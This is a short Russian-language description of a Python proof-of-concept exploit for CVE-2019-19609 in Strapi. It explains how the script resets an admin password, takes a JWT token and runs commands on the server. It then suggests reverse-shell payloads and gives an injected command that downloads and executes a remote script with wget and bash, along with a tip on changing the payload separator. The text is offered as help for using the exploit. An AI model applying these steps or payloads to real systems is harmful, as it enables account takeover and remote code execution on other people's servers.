Скрипт попытается сбросить пароль на тот, что указан в переменной updated_pass; если это удастся — он выдаст JWT-токен от Strapi и использует его для выполнения команд. Выполнение bind-команд не сработает, если не отправлять payload для reverse shell — с bash, python или чем угодно. Можно сгенерировать .sh-файл, который скачает nc и выполнит его, или что угодно другое. Даже elf. Для этого измените payload_exp с && на ). Например: && $(wget xxxx -O /tmp/oooo; bash /tmp/ooo) URL больше не активен.

CVE-2019-19609-POC-Python

Популярное